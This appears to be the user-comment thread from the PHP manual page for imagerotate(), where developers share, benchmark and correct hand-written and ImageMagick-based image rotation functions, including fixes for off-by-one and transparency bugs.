    $w = imagesx($image);
    $h = imagesy($image);
    $result = @imagecreatetruecolor($h, $w);
    if($result)
    {
        for ($i = 0; $i < $w; $i++)
            for ($j = 0; $j < $h; $j++)
                imagecopy($result, $image, ($h - 1) - $j, $i, $i, $j, 1, 1);
    }
    return $result;
}
?>

Third algorithm (the "imagerotate" algorithm):
<?php
function CWRotation($image)
{
    return imagerotate($image, 270, 0);
}
?>

In each step of the loop, the image is loaded, rotated then a copy is written on the disk.

Here are the results:
imagesetpixel algorithm: the 10 pictures were processed in 29 seconds
imagecopy algorithm: the 10 pictures were processed in 26 seconds
imagerotate algorithm: the 10 pictures were processed in 2 seconds (no typo here)

Writing the pictures on the disk allowed me to control the results. Every resulting picture was the same (tested with winmerge).

Conclusion: imagerotate is way faster than other "home-made" algorithms.
I ran the tests several times to see if the difference between imagesetpixel and imagecopy was introduced by my computer's independent activity, but I always got that 10% difference.

Note: the picture I used was taken from a camera, so no transparency was involved.
I ran the tests on Windows XP using PHP Version 5.3.0
kmrohe at letsco dot de 05-Mar-2010 03:00
As an alternative to the GD rotateImage() function, this is an easy way to rotate images by 90 degrees ccw *without* loosing transparency:

<?php

  function rotateImage($image) {
      $width = imagesx($image);
      $height = imagesy($image);
      $newImage= imagecreatetruecolor($height, $width);
      imagealphablending($newImage, false);
      imagesavealpha($newImage, true);
      for($w=0; $w<$width; $w++)
          for($h=0; $h<$height; $h++) {
              $ref = imagecolorat($image, $w, $h);
              imagesetpixel($newImage, $h, ($width-1)-$w, $ref);
          }
      return $newImage;
  }

?>
c kelley at ca - cycleworks dot com 20-Feb-2010 02:59
Note, of the rotate functions below, only beau's worked for me. Not sure if it is because of my source image, but upon rotating, the background became blue.

The code snippet below is what I used to prepare UPS shipping labels. The UPS xml api will return a base64 encoded gif, but it is sideways, so as to print on the top half of a 8.5x11 "letter" page. We are saving it in a database and sending it to a label printer, so needed it rotated...

The other code further down didn't make the background blue, however it did make the image leave the canvas by about 50%. Additionally, the imagecolorallocate() function has an example describing how to set the background color. That didn't work for me. Even though the blue BG is #0000ff, using that code didn't work, I had to use the transparent trick below.

The GD image functions may be in their infancy, however are a great reminder to me how powerful php is! Also, ubuntu apache users will need to apt-get install php5-gd to get the gd functions.

<?php
        $image=imagecreatefromgif( 'data://text/plain;base64,'.$this->shipmentLabelGraphicImage );
        $image=$this->rotateImage($image, 90); // Note: rotateImage turns our background to blue!
        $blue = imagecolorallocate($image, 0, 0, 255);
        imagecolortransparent($image, $blue);    // make blue transparent, so image isn't goofy
        imagepng($image,$this->shipmentTrackingNumber.".png");
        echo '<P><img src="'.$this->shipmentTrackingNumber.'.png"></P>';
        imagedestroy($image);
?>
edwins at xs4all dot net 20-Jan-2010 01:34
This function apparently contains a memory leak. Because of this, it was kept out of the GD library that comes with Ubuntu (and I assume other OS'es, too).

So, If you are running Ubuntu and wonder why you get "Call to undefined function imagerotate()" even though you seemingly have the correct GD lib installed, this is why. Use the alternative supplied by beau at dragonflydevelopment dot com instead. It works flawlessly (for angles in steps of 90 degrees).

On a side-note, some other GD image functions (unfortunately, the more interesting ones) suffer from the same problem and are kept out of the Ubuntu distribution as well.
beau at dragonflydevelopment dot com 23-Sep-2009 02:13
I believe the rotateImage function below is incorrect. The 180 rotation was actually doing a vertical mirror instead of rotating 180 degrees. The change was $i to $width - $i.

<?php
function rotateImage($img, $rotation) {
  $width = imagesx($img);
  $height = imagesy($img);
  switch($rotation) {
    case 90: $newimg= @imagecreatetruecolor($height , $width );break;
    case 180: $newimg= @imagecreatetruecolor($width , $height );break;
    case 270: $newimg= @imagecreatetruecolor($height , $width );break;
    case 0: return $img;break;
    case 360: return $img;break;
  }
  if($newimg) {
    for($i = 0;$i < $width ; $i++) {
      for($j = 0;$j < $height ; $j++) {
        $reference = imagecolorat($img,$i,$j);
        switch($rotation) {
          case 90: if(!@imagesetpixel($newimg, ($height - 1) - $j, $i, $reference )){return false;}break;
          case 180: if(!@imagesetpixel($newimg, $width - $i, ($height - 1) - $j, $reference )){return false;}break;
          case 270: if(!@imagesetpixel($newimg, $j, $width - $i, $reference )){return false;}break;
        }
      }
    } return $newimg;
  }
  return false;
}
?>

you can call it this way:
<?php
$img = rotateImage($imagetorotate,"degrees");
?>
ewald at dutchvisual dot nl 20-Sep-2009 04:35
This function will rotate the image. The image will be resampled completely.

<?php
function rotateImage($img, $rotation) {
  $width = imagesx($img);
  $height = imagesy($img);
  switch($rotation) {
    case 90: $newimg= @imagecreatetruecolor($height , $width );break;
    case 180: $newimg= @imagecreatetruecolor($width , $height );break;
    case 270: $newimg= @imagecreatetruecolor($height , $width );break;
    case 0: return $img;break;
    case 360: return $img;break;
  }
  if($newimg) {
    for($i = 0;$i < $width ; $i++) {
      for($j = 0;$j < $height ; $j++) {
        $reference = imagecolorat($img,$i,$j);
        switch($rotation) {
          case 90: if(!@imagesetpixel($newimg, ($height - 1) - $j, $i, $reference )){return false;}break;
          case 180: if(!@imagesetpixel($newimg, $i, ($height - 1) - $j, $reference )){return false;}break;
          case 270: if(!@imagesetpixel($newimg, $j, $width - $i, $reference )){return false;}break;
        }
      }
    } return $newimg;
  }
  return false;
}
?>

you can call it this way:
<?php
$img = rotateImage($imagetorotate,"degrees");
?>
dev at imglib dot endofinternet dot net 25-Aug-2009 03:15
And you can add a transparent background to you png image by change the
<?php
    if ($ignore_transparent == 0) {
        imagefill($destimg, 0, 0, imagecolorallocatealpha($destimg, 255,255, 255, 127));
        imagesavealpha($destimg, true);
    }
?>
to
<?php
    if ($ignore_transparent == 0) {
        $temp = imagecolorallocatealpha($destimg, 255,255, 255, 127);
        imagefill($destimg, 0, 0, $temp);
        //if set the default color or white or magic pink then use transparent color
        if ( ($bgcolor == 0) || ($bgcolor == 16777215) || ($bgcolor == 16711935) )  {
            $bgcolor = $temp;
        }
        imagesavealpha($destimg, true);
    }
?>
dev at imglib dot endofinternet dot net 25-Aug-2009 02:53
Fixed function from previsios post.
Add png transparetn, and most popular angle as static case for best view.
Rotation change to clockwise.

<?php

if(!function_exists("imagerotate")) {
    function imagerotate($srcImg, $angle, $bgcolor=0, $ignore_transparent = 0) {
        return imagerotateEquivalent($srcImg, $angle, $bgcolor, $ignore_transparent);
    }
}

/*
    Imagerotate replacement. ignore_transparent is work for png images
    Also, have some standard functions for 90, 180 and 270 degrees.
    Rotation is clockwise
*/

function imagerotateEquivalent($srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
    function rotateX($x, $y, $theta){
        return $x * cos($theta) - $y * sin($theta);
    }
    function rotateY($x, $y, $theta){
        return $x * sin($theta) + $y * cos($theta);
    }

    $srcw = imagesx($srcImg);
    $srch = imagesy($srcImg);

    //Normalize angle
    $angle %= 360;
    //Set rotate to clockwise
    $angle = -$angle;

    if($angle == 0) {
        if ($ignore_transparent == 0) {
            imagesavealpha($srcImg, true);
        }
        return $srcImg;
    }

    // Convert the angle to radians
    $theta = deg2rad ($angle);

    //Standart case of rotate
    if ( (abs($angle) == 90) || (abs($angle) == 270) ) {
        $width = $srch;
        $height = $srcw;
        if ( ($angle == 90) || ($angle == -270) ) {
            $minX = 0;
            $maxX = $width;
            $minY = -$height+1;
            $maxY = 1;
        } else if ( ($angle == -90) || ($angle == 270) ) {
            $minX = -$width+1;
            $maxX = 1;
            $minY = 0;
            $maxY = $height;
        }
    } else if (abs($angle) === 180) {
        $width = $srcw;
        $height = $srch;
        $minX = -$width+1;
        $maxX = 1;
        $minY = -$height+1;
        $maxY = 1;
    } else {
        // Calculate the width of the destination image.
        $temp = array (rotateX(0, 0, 0-$theta),
        rotateX($srcw, 0, 0-$theta),
        rotateX(0, $srch, 0-$theta),
        rotateX($srcw, $srch, 0-$theta)
        );
        $minX = floor(min($temp));
        $maxX = ceil(max($temp));
        $width = $maxX - $minX;

        // Calculate the height of the destination image.
        $temp = array (rotateY(0, 0, 0-$theta),
        rotateY($srcw, 0, 0-$theta),
        rotateY(0, $srch, 0-$theta),
        rotateY($srcw, $srch, 0-$theta)
        );
        $minY = floor(min($temp));
        $maxY = ceil(max($temp));
        $height = $maxY - $minY;
    }

    $destimg = imagecreatetruecolor($width, $height);
    if ($ignore_transparent == 0) {
        imagefill($destimg, 0, 0, imagecolorallocatealpha($destimg, 255,255, 255, 127));
        imagesavealpha($destimg, true);
    }

    // sets all pixels in the new image
    for($x=$minX; $x<$maxX; $x++) {
        for($y=$minY; $y<$maxY; $y++) {
            // fetch corresponding pixel from the source image
            $srcX = round(rotateX($x, $y, $theta));
            $srcY = round(rotateY($x, $y, $theta));
            if($srcX >= 0 && $srcX < $srcw && $srcY >= 0 && $srcY < $srch) {
                $color = imagecolorat($srcImg, $srcX, $srcY );
            } else {
                $color = $bgcolor;
            }
            imagesetpixel($destimg, $x-$minX, $y-$minY, $color);
        }
    }
    return $destimg;
}
?>
sjef at bosman dot fr 09-Aug-2009 09:28
I wanted to draw a transparent GIF-image and show it on a page, at an angle specified in the URL:
<img src="image.php?angle=90" type="image/gif">

I used the native imagerotate() but at angles of 90, 180, etc. the old background colour would become non-transparent. Apparently, there's a bug somewhere in GD, and has been for ages.

My solution below:

<?php
$height = 100;
$width = 100;
$lsize= $width/2;
$angle= $_GET["angle"];

// avoid the bug:
if(($angle%90)==0)
  $angle+= 0.001;

$image_p = imagecreatetruecolor($width, $height);
$trans = imagecolorallocate($image_p, 254, 0, 0);
imagefill($image_p, 0, 0, $trans);
imagecolortransparent($image_p, $trans);

$black = imagecolorallocate($image_p, 1, 1, 1);
$red = imagecolorallocate($image_p, 255, 0, 0);
$white = imagecolorallocate($image_p, 255, 255, 255);

// draw something here
imageline($image_p, 3, $lsize, $lsize/2, $lsize, $black);

$image_r= imagerotate($image_p, -$angle, $trans, 0);
$w= imagesx($image_r);
$h= imagesy($image_r);
$image_s = imagecreatetruecolor($width, $height);
imagecopyresized($image_s, $image_r, 0, 0, ($w-$width)/2, ($h-$height)/2, $width, $height, $width, $height);
$trans = imagecolorallocate($image_s, 254, 0, 0);
imagecolortransparent($image_s, $trans);
imagegif($image_s);
?>
gglockner AT NOSPAMdwaffler DOT com 23-Jul-2009 12:36
If you're going to do a rotation by hand instead of using the imagerotate function, you can use the imagecopy function to copy a single pixel instead of determining the pixel color and setting the pixel.  Not only is this shorter and cleaner, but it also works with images that are not truecolor (on my system, imagecolorat fails with an image that is not truecolor).
jeprubio 17-Jul-2009 08:52
hi,
if you have a image with transparent color in previous function "function rotateImage($img1, $rec)"
just before "return $img2;" you have to do:
imagecolortransparent($img2, imagecolorallocate($img2, 0, 0, 0));
Best regards
Anonymous 25-Jun-2009 05:32
Sorry, the previous class contains an error, the original image after the rotation 1px move on and get the unwanted "border".

After a careful reading of the local debate, I am using the tip from Dave Richards wrote a new function. With its images can be rotated only 90 ° (default), 180 ° and 270 °, but one rarely needs more ...

The function returns False, or rotated image
<?php
if(!function_exists("imagerotate")) {
    function imagerotate($srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
        return rotateImage($srcImg, $angle);
    }
}

function rotateImage($img1, $rec) {
    $wid = imagesx($img1);
    $hei = imagesy($img1);
    switch($rec) {
        case 270:
            $img2 = @imagecreatetruecolor($hei, $wid);
        break;
        case 180:
            $img2 = @imagecreatetruecolor($wid, $hei);
        break;
        default :
            $img2 = @imagecreatetruecolor($hei, $wid);
    }
    if($img2) {
        for($i = 0;$i < $wid; $i++) {
            for($j = 0;$j < $hei; $j++) {
                $ref = imagecolorat($img1,$i,$j);
                switch($rec) {
                    case 270:
                        if(!@imagesetpixel($img2, ($hei - 1) - $j, $i, $ref)){
                            return false;
                        }
                    break;
                    case 180:
                        if(!@imagesetpixel($img2, $i, ($hei - 1) - $j, $ref)) {
                            return false;
                        }
                    break;
                    default:
                        if(!@imagesetpixel($img2, $j, ($wid - 1) - $i, $ref)) {
                            return false;
                        }
                }
            }
        }
        return $img2;
    }
    return false;
}
?>

Petr
Mike Knoop 24-Jun-2009 02:25
Don't be tricked into thinking this function will rotate the image resource handle in-place. While the documentation currently doesn't specify and return values, I've found the following return values to be true:

"Returns an image resource identifier on success, FALSE on errors. "

Simply make sure you're doing something like...
<?php
$rotated_img = imagerotate($src_img, 45, $color)
?>

-Mike
krteczek01 at gmail dot com 23-Jun-2009 03:21
Hi, I've rewrote function to class with static methods. Advantage of this solution is ability to be called several times during script execution.

<?php
/*
    Unfinished imagerotate replacement. ignore_transparent is, well, ignored. :)
    Also, should have some standard functions for 90, 180 and 270 degrees, since they are quite
    easy to implement faster.
*/

if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
        return imagerotateEquivalent::rotate(&$srcImg, $angle, $bgcolor, $ignore_transparent);
    }
}

class imagerotateEquivalent {

    static private function rotateX($x, $y, $theta){
        return $x * cos($theta) - $y * sin($theta);
    }

    static private function rotateY($x, $y, $theta){
        return $x * sin($theta) + $y * cos($theta);
    }

    public static function rotate(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0) {

        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $theta = deg2rad ($angle);

        // Calculate the width of the destination image.
        $temp = array (    self::rotateX(0,     0, 0-$theta),
                        self::rotateX($srcw, 0, 0-$theta),
                        self::rotateX(0,     $srch, 0-$theta),
                        self::rotateX($srcw, $srch, 0-$theta)
                    );
        $minX = floor(min($temp));
        $maxX = ceil(max($temp));
        $width = $maxX - $minX;

        // Calculate the height of the destination image.
        $temp = array (    self::rotateY(0,     0, 0-$theta),
                        self::rotateY($srcw, 0, 0-$theta),
                        self::rotateY(0,     $srch, 0-$theta),
                        self::rotateY($srcw, $srch, 0-$theta)
                    );
        $minY = floor(min($temp));
        $maxY = ceil(max($temp));
        $height = $maxY - $minY;

        $destimg = imagecreatetruecolor($width, $height);
        imagefill($destimg, 0, 0, imagecolorallocate($destimg, 0,255, 0));

        // sets all pixels in the new image
        for($x=$minX;$x<$maxX;$x++) {
            for($y=$minY;$y<$maxY;$y++)
            {
                // fetch corresponding pixel from the source image
                $srcX = round(self::rotateX($x, $y, $theta));
                $srcY = round(self::rotateY($x, $y, $theta));
                if($srcX >= 0 && $srcX < $srcw && $srcY >= 0 && $srcY < $srch)
                {
                    $color = imagecolorat($srcImg, $srcX, $srcY );
                }
                else
                {
                    $color = $bgcolor;
                }
                imagesetpixel($destimg, $x-$minX, $y-$minY, $color);
            }
        }
        return $destimg;
    }
}

?>
anon at here dot com 13-Jun-2009 01:00
I was quite surprised to see that no one had done any working rotate function. And since I needed one for my web hotel, I whipped this one up. Someone might want to expand it so that it matches imagerotate.

Also, does imagerotate really rotate things counter clockwise? Otherwise this should also be changed.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
        return imagerotateEquivalent(&$srcImg, $angle, $bgcolor, $ignore_transparent);
    }
}

/*
    Unfinished imagerotate replacement. ignore_transparent is, well, ignored. :)
    Also, should have some standard functions for 90, 180 and 270 degrees, since they are quite
    easy to implement faster.
*/
function imagerotateEquivalent(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0)
{
    function rotateX($x, $y, $theta){
        return $x * cos($theta) - $y * sin($theta);
    }
    function rotateY($x, $y, $theta){
        return $x * sin($theta) + $y * cos($theta);
    }

    $srcw = imagesx($srcImg);
    $srch = imagesy($srcImg);

    if($angle == 0) return $srcImg;

    // Convert the angle to radians
    $theta = deg2rad ($angle);

    // Calculate the width of the destination image.
    $temp = array (    rotateX(0,     0, 0-$theta),
                    rotateX($srcw, 0, 0-$theta),
                    rotateX(0,     $srch, 0-$theta),
                    rotateX($srcw, $srch, 0-$theta)
                );
    $minX = floor(min($temp));
    $maxX = ceil(max($temp));
    $width = $maxX - $minX;

    // Calculate the height of the destination image.
    $temp = array (    rotateY(0,     0, 0-$theta),
                    rotateY($srcw, 0, 0-$theta),
                    rotateY(0,     $srch, 0-$theta),
                    rotateY($srcw, $srch, 0-$theta)
                );
    $minY = floor(min($temp));
    $maxY = ceil(max($temp));
    $height = $maxY - $minY;

    $destimg = imagecreatetruecolor($width, $height);
    imagefill($destimg, 0, 0, imagecolorallocate($destimg, 0,255, 0));

    // sets all pixels in the new image
    for($x=$minX;$x<$maxX;$x++) {
        for($y=$minY;$y<$maxY;$y++)
        {
            // fetch corresponding pixel from the source image
            $srcX = round(rotateX($x, $y, $theta));
            $srcY = round(rotateY($x, $y, $theta));
            if($srcX >= 0 && $srcX < $srcw && $srcY >= 0 && $srcY < $srch)
            {
                $color = imagecolorat($srcImg, $srcX, $srcY );
            }
            else
            {
                $color = $bgcolor;
            }
            imagesetpixel($destimg, $x-$minX, $y-$minY, $color);
        }
    }

    return $destimg;
}
?>
dave dot richards at gmail dot com 17-Apr-2009 04:47
There is a slight mistake in the previous post by Kae Cyphet.

When setting the pixels of the new image the co-ordinates have to occasionally use the width ($wid) and height ($hei). These values must be reduced by 1 as the co-ordinates start at 0 (Not 1) so they only go up to $wid - 1 and $hei - 1 (Not $wid and $hei).

Here's an example of the first function to show this:

<?php
function rotate_right90($im)
{
 $wid = imagesx($im);
 $hei = imagesy($im);
 $im2 = imagecreatetruecolor($hei,$wid);

 for($i = 0;$i < $wid; $i++)
 {
  for($j = 0;$j < $hei; $j++)
  {
   $ref = imagecolorat($im,$i,$j);
   imagesetpixel($im2,($hei - 1) - $j,$i,$ref);
  }
 }
 return $im2;
}
?>

Other than that very useful functions!
Kae Cyphet 23-Jan-2009 01:50
To solve that annoying problem of having to install a pre-compiled version of GD just to get imagerotate working.

here is an open source solution.
uses the standard stuff included in php when you uncomment 'extension=php_gd2.dll' in the php.ini file and there ya go!

Useage:
<?php
$im = imagecreatefromjpeg('test.jpg');

header('Content-type: image/jpg');
imagejpeg(rotate_right90($im));

imagedestroy($im);
?>

'=================================

<?php
function rotate_right90($im)
{
 $wid = imagesx($im);
 $hei = imagesy($im);
 $im2 = imagecreatetruecolor($hei,$wid);

 for($i = 0;$i < $wid; $i++)
 {
  for($j = 0;$j < $hei; $j++)
  {
   $ref = imagecolorat($im,$i,$j);
   imagesetpixel($im2,$hei - $j,$i,$ref);
  }
 }
 return $im2;
}

function rotate_left90($im)
{
 $wid = imagesx($im);
 $hei = imagesy($im);
 $im2 = imagecreatetruecolor($hei,$wid);

 for($i = 0;$i < $wid; $i++)
 {
  for($j = 0;$j < $hei; $j++)
  {
   $ref = imagecolorat($im,$i,$j);
   imagesetpixel($im2,$j, $wid - $i,$ref);
  }
 }
 return $im2;
}

function mirror($im)
{
 $wid = imagesx($im);
 $hei = imagesy($im);
 $im2 = imagecreatetruecolor($wid,$hei);

 for($i = 0;$i < $wid; $i++)
 {
  for($j = 0;$j < $hei; $j++)
  {
   $ref = imagecolorat($im,$i,$j);
   imagesetpixel($im2,$wid - $i,$j,$ref);
  }
 }
 return $im2;
}

function flip($im)
{
 $wid = imagesx($im);
 $hei = imagesy($im);
 $im2 = imagecreatetruecolor($wid,$hei);

 for($i = 0;$i < $wid; $i++)
 {
  for($j = 0;$j < $hei; $j++)
  {
   $ref = imagecolorat($im,$i,$j);
   imagesetpixel($im2,$i,$hei - $j,$ref);
  }
 }
 return $im2;
}
?>
rassols[at]Gmail[dota]com 12-Jan-2009 03:24
Really working function for imagemagic replacement of imagerotate GD2. Need integrated into php imagemagic.
<?php
if ( !function_exists( 'imagerotate' ) ) {
    function imagerotate( $source_image, $angle, $bgd_color ) {
        $angle = 360-$angle; // GD rotates CCW, imagick rotates CW
        $temp_src = '/tmp/temp_src.png';
        $temp_dst = '/tmp/temp_dst.png';
        if (!imagepng($source_image,$temp_src)){
            return false;
        }
        $imagick = new Imagick();
        $imagick->readImage($temp_src);
        $imagick->rotateImage(new ImagickPixel($bgd_color?$bgd_color:'black'), $angle);
        $imagick->writeImage($temp_dst);
        //trigger_error( 'imagerotate(): could not write to ' . $file1 . ', original image returned', E_USER_WARNING );
        $result = imagecreatefrompng($temp_dst);
        unlink($temp_dst);
        unlink($temp_src);
        return $result;
    }
}
?>
joseluis at pellicer dot org 01-Dec-2008 08:14
About that rotating function by david at horizon-nigh not working, I found the bug.
I noticed that the x1 and y1 where not used, so, in the loop through every pixel and transform it, change

$x2 = $x * cos($theta) - $y * sin($theta);
$y2 = $x * sin($theta) + $y * cos($theta);

to:

$x2 = $x1 * cos($theta) - $y1 * sin($theta);
$y2 = $x1 * sin($theta) + $y1 * cos($theta);
fernando_empresarial at ig dot com dot br 13-Nov-2008 04:52
<?php
$urlImage = "images/image.png";
$urlNewImage = "images/imageNew.png";

$src_img = imagecreatefrompng($urlImage);
$originalX = imagesx($src_img);
$originalY = imagesy($src_img);
$dst_img = imagecreatetruecolor(640,480);

$imageRotate = imagerotate($src_img,20,-1);

imagepng($imageRotate,$urlNewImage);
imagedestroy($dst_img);
imagedestroy($src_img);
?>
foi02 at cartefoi dot net 01-Oct-2008 07:50
For those who are looking for the GD library for Ubuntu, I let a copy on my server:  http://www.cartefoi.net/compl_compl_2.php
It was pretty hard to find, somebody gaveme his. Thanks a lot to him (message up).
Bert Vandeghinste 20-Sep-2008 07:17
I'm now using david's code with these changes to get a transparent effect.

I exec convert 2 times:

<?php
exec( $imagick . ' -background \'#555555\' -rotate ' . $angle . ' ' . $file1 . ' ' . $file2 );
exec( $imagick . ' -transparent \'#555555\' -transparent-color \'#555555\' ' . $file2 . ' ' . $file3 );
?>

and then use this after I rotated $output:
<?php imagecolortransparent($output, imagecolorallocatealpha($output, 85, 85, 85, 127)); ?>
david at horizon-nigh dot org 12-Sep-2008 09:06
I couldn't get the replacements from 'the dot thawk' or 'pilot' to work for some reason, so here's my own replacement. It uses ImageMagick; binary must be installed, and you may need to modify the search path. (I didn't use PHP's ImageMagick support for my own reasons.)

<?php
    /**
     * imagerotate()
     * Debian php5-gd packages do not include imagerotate() due to some convoluted reason.
     *
     * @param int $angle - same as PHP builtin function
     * @param $bgd_color - not implemented, apparently always #FFFFFF
     *
     * @return same as PHP builtin function
     */
    if ( !function_exists( 'imagerotate' ) ) {

        function imagerotate( $source_image, $angle, $bgd_color ) {

            $angle = 360-$angle; // GD rotates CCW, imagick rotates CW

            foreach ( array( '/usr/bin', '/usr/local/bin', '/opt/local/bin', '/sw/bin' ) as $path ) {

                if ( file_exists( $path . '/convert' ) ) {
                    $imagick = $path . '/convert';
                    if ( $path == '/opt/local/bin' ) {
                        $imagick = 'DYLD_LIBRARY_PATH="" ' . $imagick; // some kind of conflict with MacPorts and MAMP
                    }
                    break;
                }

            }

            if ( !isset( $imagick ) ) {

                //trigger_error( 'imagerotate(): could not find imagemagick binary, original image returned', E_USER_WARNING );
                return $source_image;

            }

            $file1 = '/tmp/imagick_' . rand( 10000,99999 ) . '.png';
            $file2 = '/tmp/imagick_' . rand( 10000,99999 ) . '.png';

            if ( @imagepng( $source_image, $file1 ) ) {

                exec( $imagick . ' -rotate ' . $angle . ' ' . $file1 . ' ' . $file2 );

                if ( file_exists( $file2 ) ) {

                    $new_image = imagecreatefrompng( $file2 );
                    unlink( $file1 );
                    unlink( $file2 );
                    return $new_image;

                } else {

                    //trigger_error( 'imagerotate(): imagemagick conversion failed, original image returned', E_USER_WARNING );
                    return $source_image;

                }

            } else {

                //trigger_error( 'imagerotate(): could not write to ' . $file1 . ', original image returned', E_USER_WARNING );
                return $source_image;

            }

        }

    }
?>
AJenbo 26-Aug-2008 01:45
I modified cbl25's function to allow it to rotate an image either clock wise or counter clock wise.

<?php
function rotateImage($image, $direction) {
    $direction = strtolower($direction);
    $degrees = $direction == 'cw' ? 270 : ($direction == 'ccw' ? 90 : NULL);
    if(!$degrees)
        return $image;
    $width = imagesx($image);
    $height = imagesy($image);
    $side = $width > $height ? $width : $height;
    $imageSquare = imagecreatetruecolor($side, $side);
    imagecopy($imageSquare, $image, 0, 0, 0, 0, $width, $height);
    imagedestroy($image);
    $imageSquare = imagerotate($imageSquare, $degrees, 0, -1);
    $image = imagecreatetruecolor($height, $width);
    $x = $degrees == 90 ? 0 : ($height > $width ? 0 : ($side - $height));
    $y = $degrees == 270 ? 0 : ($height < $width ? 0 : ($side - $width));
    imagecopy($image, $imageSquare, 0, 0, $x, $y, $height, $width);
    imagedestroy($imageSquare);
    return $image;
}

//Usage
$image = rotateImage($image, 'cw');
$image = rotateImage($image, 'ccw');
?>
cbl25 19-Aug-2008 07:29
Here is a simple function to rotate a non-square image 90 degrees clockwise.

<?php
function rotateImage($imageResource)
{
    $width = imagesx($imageResource);
    $height = imagesy($imageResource);
    $side = $width > $height ? $width : $height;
    $squareImage = imagecreatetruecolor($side, $side);
    imagecopy($squareImage,$imageResource,0,0,0,0,$width,$height);
    $squareImage = imagerotate($squareImage,270,0,-1);
    $imageResource = imagecreatetruecolor($height, $width);
    $x = $height > $width ? 0 : $side - $height;
    imagecopy($imageResource,$squareImage,0,0,$x,0,$height,$width);
    return $imageResource;
}
?>
the dot thawk+phpnet at gmail dot com 16-Jul-2008 08:44
In response to pilot at myupb dot com on 31-May-2008 02:23
---

I am not sure why you would be defining your own PI, instead of using the built-in constant, and why you do the degrees to radian conversion manually. There might be a speed issue, however here is the exact same code with that small difference.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $transparentColor = null) {
        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $theta = deg2rad ($angle);

        // Get the origin (center) of the image
        $originx = $srcw / 2;
        $originy = $srch / 2;

        // The pixels array for the new image
        $pixels = array();
        $minx = 0;
        $maxx = 0;
        $miny = 0;
        $maxy = 0;
        $dstw = 0;
        $dsth = 0;

        // Loop through every pixel and transform it
        for($x=0;$x<$srcw;$x++) {
            for($y=0;$y<$srch;$y++) {
                list($x1, $y1) = translateCoordinate($originx, $originy, $x, $y, false);

                $x2 = $x * cos($theta) - $y * sin($theta);
                $y2 = $x * sin($theta) + $y * cos($theta);

                // Store the pixel color
                $pixels[] = array($x2, $y2, imagecolorat($srcImg, $x, $y));

                // Check our boundaries
                if($x2 > $maxx) $maxx = $x2;
                if($x2 < $minx) $minx = $x2;
                if($y2 > $maxy) $maxy = $y2;
                if($y2 < $miny) $miny = $y2;
            }
        }

        // Determine the new image size
        $dstw = $maxx - $minx + 1;
        $dsth = $maxy - $miny + 1;

        // Create our new image
        $dstImg = imagecreatetruecolor($dstw, $dsth);

        // Fill the background with our transparent color
        if($transparentColor == null) $transparentColor = imagecolorallocate($dstImg, 1, 2, 3);
        imagecolortransparent($dstImg, $transparentColor);
        imagefilledrectangle($dstImg, 0, 0, $dstw + 1, $dsth + 1, $transparentColor);

        // Get the new origin
        $neworiginx = -$minx;
        $neworiginy = -$miny;

        // Fill in the pixels
        foreach($pixels as $data) {
            list($x, $y, $color) = $data;
            list($newx, $newy) = translateCoordinate($neworiginx, $neworiginy, $x, $y);
            imagesetpixel($dstImg, $newx, $newy, $color);
        }

        return $dstImg;
    }

    /**
     * Translates from mathematical coordinate system to computer coordinate system using
     * origin coordinates from the computer system or visa versa
     *
     * @param int $originx
     * @param int $originy
     * @param int $x
     * @param int $y
     * @param bool $toComp
     * @return array(int $x, int $y)
     */
    function translateCoordinate($originx, $originy, $x, $y, $toComp=true) {
        if($toComp) {
            $newx = $originx + $x;
            $newy = $originy - $y;
        } else {
            $newx = $x - $originx;
            $newy = $originy - $y;
        }

        return array($newx, $newy);
    }
}
?>
pilot at myupb dot com 30-May-2008 05:23
Shortly after posting I was informed about a very nice algorithm for calculating the new pixel position for a rotation and thought it would be a nice improvement. Hopes this helps anyone needing a full implementation.

Note: I tested the function on a 3Mb photo and it seemed to work perfectly with no quality loss.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $transparentColor = null) {
        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $pi = 3.141592654;
        $theta = $angle * $pi / 180;

        // Get the origin (center) of the image
        $originx = $srcw / 2;
        $originy = $srch / 2;

        // The pixels array for the new image
        $pixels = array();
        $minx = 0;
        $maxx = 0;
        $miny = 0;
        $maxy = 0;
        $dstw = 0;
        $dsth = 0;

        // Loop through every pixel and transform it
        for($x=0;$x<$srcw;$x++) {
            for($y=0;$y<$srch;$y++) {
                list($x1, $y1) = translateCoordinate($originx, $originy, $x, $y, false);

                $x2 = $x * cos($theta) - $y * sin($theta);
                $y2 = $x * sin($theta) + $y * cos($theta);

                // Store the pixel color
                $pixels[] = array($x2, $y2, imagecolorat($srcImg, $x, $y));

                // Check our boundaries
                if($x2 > $maxx) $maxx = $x2;
                if($x2 < $minx) $minx = $x2;
                if($y2 > $maxy) $maxy = $y2;
                if($y2 < $miny) $miny = $y2;
            }
        }

        // Determine the new image size
        $dstw = $maxx - $minx + 1;
        $dsth = $maxy - $miny + 1;

        // Create our new image
        $dstImg = imagecreatetruecolor($dstw, $dsth);

        // Fill the background with our transparent color
        if($transparentColor == null) $transparentColor = imagecolorallocate($dstImg, 1, 2, 3);
        imagecolortransparent($dstImg, $transparentColor);
        imagefilledrectangle($dstImg, 0, 0, $dstw + 1, $dsth + 1, $transparentColor);

        // Get the new origin
        $neworiginx = -$minx;
        $neworiginy = -$miny;

        // Fill in the pixels
        foreach($pixels as $data) {
            list($x, $y, $color) = $data;
            list($newx, $newy) = translateCoordinate($neworiginx, $neworiginy, $x, $y);
            imagesetpixel($dstImg, $newx, $newy, $color);
        }

        return $dstImg;
    }

    /**
     * Translates from mathematical coordinate system to computer coordinate system using
     * origin coordinates from the computer system or visa versa
     *
     * @param int $originx
     * @param int $originy
     * @param int $x
     * @param int $y
     * @param bool $toComp
     * @return array(int $x, int $y)
     */
